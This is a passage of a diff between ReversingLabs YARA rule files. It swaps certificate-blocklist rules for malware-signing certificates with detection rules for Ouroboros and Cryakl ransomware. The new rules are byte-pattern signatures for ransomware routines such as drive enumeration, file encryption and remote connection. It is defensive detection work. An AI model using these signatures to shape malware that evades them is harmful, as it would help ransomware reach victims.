51 E8 ?? ?? ?? ?? 83 C4 ?? 47 83 FF ?? 0F 8C ?? + ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 89 5D ?? C6 45 ?? ?? 8B 4D ?? 8B 31 + 3B F1 0F 84 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? FF 75 ?? 8B C8 C6 45 + ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F8 C6 45 ?? ?? 8B 4E ?? 89 4F ?? 8B 4E ?? 89 4F ?? 8D + 4F ?? 8B 46 ?? 89 47 ?? 8D 46 ?? 3B C8 74 ?? 83 78 ?? ?? 8B D0 72 ?? 8B 10 FF 70 ?? + 52 E8 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 57 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO \"MPS\"" and ( pe.signatures [ i ] . serial == "00:98:13:22:9e:fe:00:46:d2:35:42:cc:75:69:d5:a4:03" or pe.signatures [ i ] . serial == "98:13:22:9e:fe:00:46:d2:35:42:cc:75:69:d5:a4:03" ) and 1575849600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $enum_drives_p* ) ) and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_86E5A9B9E89E5075C475006D0Ca03832 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Ouroboros : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Ouroboros ransomware." author = "ReversingLabs" - id = "f3058f56-dcbb-532a-b914-5ac0e6d70e6e" - date = "2020-08-05" - modified = "2023-11-08" + id = "af0b9311-a7dd-56e8-a004-0828af5af5ef" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3696-L3714" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Ouroboros.yara#L1-L175" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5ba0b0f1b104eb11023590b8ef2b9cc747372bc9310a754694d45d3b3ce293e9" + logic_hash = "b573f303318452010ff46f21a02b6290820f9a27bf4c51b72f6ed15263b5f433" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Ouroboros" + tc_detection_factor = 5 importance = 25 + strings: + $remote_connection_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 56 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 75 ?? 8D 8D ?? ?? ?? ?? 6A ?? 68 + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? + ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? + 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? + ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 + } + $remote_connection_p2 = { + C6 45 ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? + C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 + ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8B + 95 ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? + ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? + ?? ?? 83 C4 ?? FF 75 ?? 8D 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 75 ?? 8D 8D ?? ?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 45 ?? C6 85 ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 + ?? ?? ?? ?? 50 8B CE C7 06 ?? ?? ?? ?? C6 46 ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 FA ?? + 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 + } + $remote_connection_p3 = { + F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? FF 70 ?? 8D 45 ?? 50 8B C8 E8 ?? ?? ?? ?? 6A ?? FF + 75 ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? + ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? + ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 + FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 + ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? FF 70 ?? 8D 45 ?? 50 8B C8 E8 ?? ?? ?? ?? 6A + ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? + ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 + ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 85 C9 74 ?? 8B 95 ?? ?? ?? + ?? 8B C1 2B D1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F + 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 C4 ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $remote_connection_p4 = { + 8B 55 ?? C7 06 ?? ?? ?? ?? C6 46 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? + ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? + ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? FF + 70 ?? 8D 45 ?? 50 8B C8 E8 ?? ?? ?? ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 C4 + ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 + 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA + ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 + E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? + ?? FF 70 ?? 8D 45 ?? 50 8B C8 E8 ?? ?? ?? ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 95 ?? + ?? ?? ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? + 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 8D + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? + ?? ?? ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C1 2B D1 81 FA ?? ?? ?? ?? 0F + 82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 86 ?? ?? ?? ?? E8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? E8 + } + $find_files = { + 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 83 C8 ?? 57 8B 7D ?? + 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? + ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? + FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4D ?? + 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 C0 50 + 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 + 89 45 ?? 8B 4D ?? 53 8B 5D ?? 56 8B 75 ?? 57 89 B5 ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74 + ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 53 E8 ?? ?? ?? ?? 59 59 8B C8 3B CB 75 ?? 8A 11 80 FA + ?? 75 ?? 8D 43 ?? 3B C8 74 ?? 56 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF + 80 FA ?? 74 ?? 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8B C7 EB ?? 33 C0 40 0F B6 C0 2B CB 41 + F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? + ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? + ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 + FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? + 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 + 74 ?? 80 F9 ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? + ?? 85 C0 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B + C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 + ?? E9 + } + $encrypt_files_p1 = { + 83 EC ?? 8B 44 24 ?? 53 55 56 8B F1 89 44 24 ?? 57 8B 7C 24 ?? 8B 6E ?? 3B FD 77 ?? + 8B DE 83 FD ?? 72 ?? 8B 1E 57 50 53 89 7E ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 04 1F ?? 8B + C6 5F 5E 5D 5B 83 C4 ?? C2 ?? ?? 81 FF ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8B DF 83 CB ?? + 81 FB ?? ?? ?? ?? 76 ?? BB ?? ?? ?? ?? EB ?? 8B CD B8 ?? ?? ?? ?? D1 E9 2B C1 3B E8 + 76 ?? BB ?? ?? ?? ?? EB ?? 8D 04 29 3B D8 0F 42 D8 33 C9 8B C3 83 C0 ?? 0F 92 C1 F7 + D9 0B C8 51 8B CE E8 ?? ?? ?? ?? 57 FF 74 24 ?? 89 44 24 ?? 50 89 7E ?? 89 5E ?? E8 + ?? ?? ?? ?? 8B 5C 24 ?? 83 C4 ?? C6 04 1F ?? 83 FD ?? 72 ?? 8B 06 45 81 FD ?? ?? ?? + ?? 72 ?? 8B 48 ?? 83 C5 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 8B C1 55 50 E8 ?? ?? ?? ?? + 83 C4 ?? 5F 89 1E 8B C6 5E 5D 5B 83 C4 ?? C2 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC + CC CC CC CC 83 EC ?? 53 55 8B 6C 24 ?? 56 57 8B F9 8B 4C 24 ?? 89 4C 24 ?? 8B 5F ?? + 3B EB 77 ?? 89 7C 24 ?? 8B C7 83 FB ?? 72 ?? 8B 07 89 44 24 ?? 8D 34 6D + } + $encrypt_files_p2 = { + 89 6F ?? 56 51 50 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 33 C9 66 89 0C 06 8B C7 5F 5E + 5D 5B 83 C4 ?? C2 ?? ?? 81 FD ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8B F5 83 CE ?? 81 FE ?? + ?? ?? ?? 76 ?? BE ?? ?? ?? ?? EB ?? 8B CB B8 ?? ?? ?? ?? D1 E9 2B C1 3B D8 76 ?? BE + ?? ?? ?? ?? EB ?? 8D 04 19 3B F0 0F 42 F0 33 C9 8B C6 83 C0 ?? 0F 92 C1 F7 D9 0B C8 + 51 8B CF E8 ?? ?? ?? ?? 89 77 ?? 8D 34 6D ?? ?? ?? ?? 56 FF 74 24 ?? 89 44 24 ?? 50 + 89 6F ?? E8 ?? ?? ?? ?? 8B 6C 24 ?? 33 C0 83 C4 ?? 66 89 04 2E 83 FB ?? 72 ?? 8B 07 + 8D 1C 5D ?? ?? ?? ?? 81 FB ?? ?? ?? ?? 72 ?? 8B 48 ?? 83 C3 ?? 2B C1 83 C0 ?? 83 F8 + ?? 77 ?? 8B C1 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 2F 8B C7 5F 5E 5D 5B 83 C4 ?? C2 ?? + ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC 8B 44 24 ?? 83 EC ?? 83 E0 ?? 89 41 ?? 8B 49 ?? + 23 C8 75 ?? 83 C4 ?? C2 ?? ?? 56 F6 C1 ?? 74 ?? BE ?? ?? ?? ?? EB ?? F6 C1 ?? BE ?? + ?? ?? ?? B8 ?? ?? ?? ?? 0F 44 F0 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C + 24 ?? 50 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 5E + } + $encrypt_files_angus_version = { + 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03 C1 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 43 + 8D ?? ?? ?? ?? 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? B9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 39 8D ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? C6 85 ?? ?? ?? ?? ?? 0F 42 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 51 0F 43 85 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? + ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? + ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 + ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D + ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E8 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BlueMarble GmbH" and ( pe.signatures [ i ] . serial == "00:86:e5:a9:b9:e8:9e:50:75:c4:75:00:6d:0c:a0:38:32" or pe.signatures [ i ] . serial == "86:e5:a9:b9:e8:9e:50:75:c4:75:00:6d:0c:a0:38:32" ) and 1574791194 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( ( all of ( $encrypt_files_p* ) ) or ( $encrypt_files_angus_version ) ) and ( all of ( $remote_connection_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_075Dca9Ca84B93E8A89B775128F90302 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Cryakl : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Cryakl ransomware." author = "ReversingLabs" - id = "2fa6b400-7c6c-5bc4-9cac-78d52003a24e" - date = "2020-08-05" - modified = "2023-11-08" + id = "5c668278-458e-5b13-83c4-63beab5249ed" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3716-L3732" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Cryakl.yara#L1-L64" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "32af21e71fb3475c50de4cd8a24fa0aec1ee67bc01c1a3720c12f9ce822833c3" + logic_hash = "51d50ab1ce021e2facbca3a35af372186287a8d69b66651c9804234a409d9932" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Cryakl" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "UAB GT-servis" and pe.signatures [ i ] . serial == "07:5d:ca:9c:a8:4b:93:e8:a8:9b:77:51:28:f9:03:02" and 1579305601 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_0Ddce8Cdc91B5B649Bb4B45Ffbba6C6C : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "9de11ec8-f408-593c-895f-08dff703ff10" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3734-L3750" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "622e6ed08ca26908539519f37cf493f8030100bd5e88cb05e851b7d56b0f4c0d" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $enum_and_encrypt_files_1 = { + 8B 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 5A E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 5A E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? 5A E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 5A E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF + 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 80 7C 02 ?? ?? 74 ?? 8D 45 ?? BA ?? ?? + ?? ?? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? + E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 + C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 83 E0 ?? 83 F8 ?? 75 ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B 10 FF 92 ?? ?? ?? ?? + 84 C0 0F 84 ?? ?? ?? ?? FF 75 ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 + } + $enum_and_encrypt_files_2 = { + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 95 ?? + ?? ?? ?? 33 C0 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? + C6 45 ?? ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B 10 FF 52 ?? 8B D8 + 4B 85 DB 0F 8C ?? ?? ?? ?? 43 33 F6 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 8D ?? + ?? ?? ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B D6 8B 38 FF 57 ?? 8B + 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 75 ?? C6 45 ?? ?? + 46 4B 0F 85 ?? ?? ?? ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 A1 ?? ?? ?? + ?? 50 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 15 ?? ?? ?? + ?? 83 C0 ?? 83 D2 ?? 89 05 ?? ?? ?? ?? 89 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? + ?? ?? 8B 10 FF 92 ?? ?? ?? ?? 84 C0 75 ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? + ?? ?? 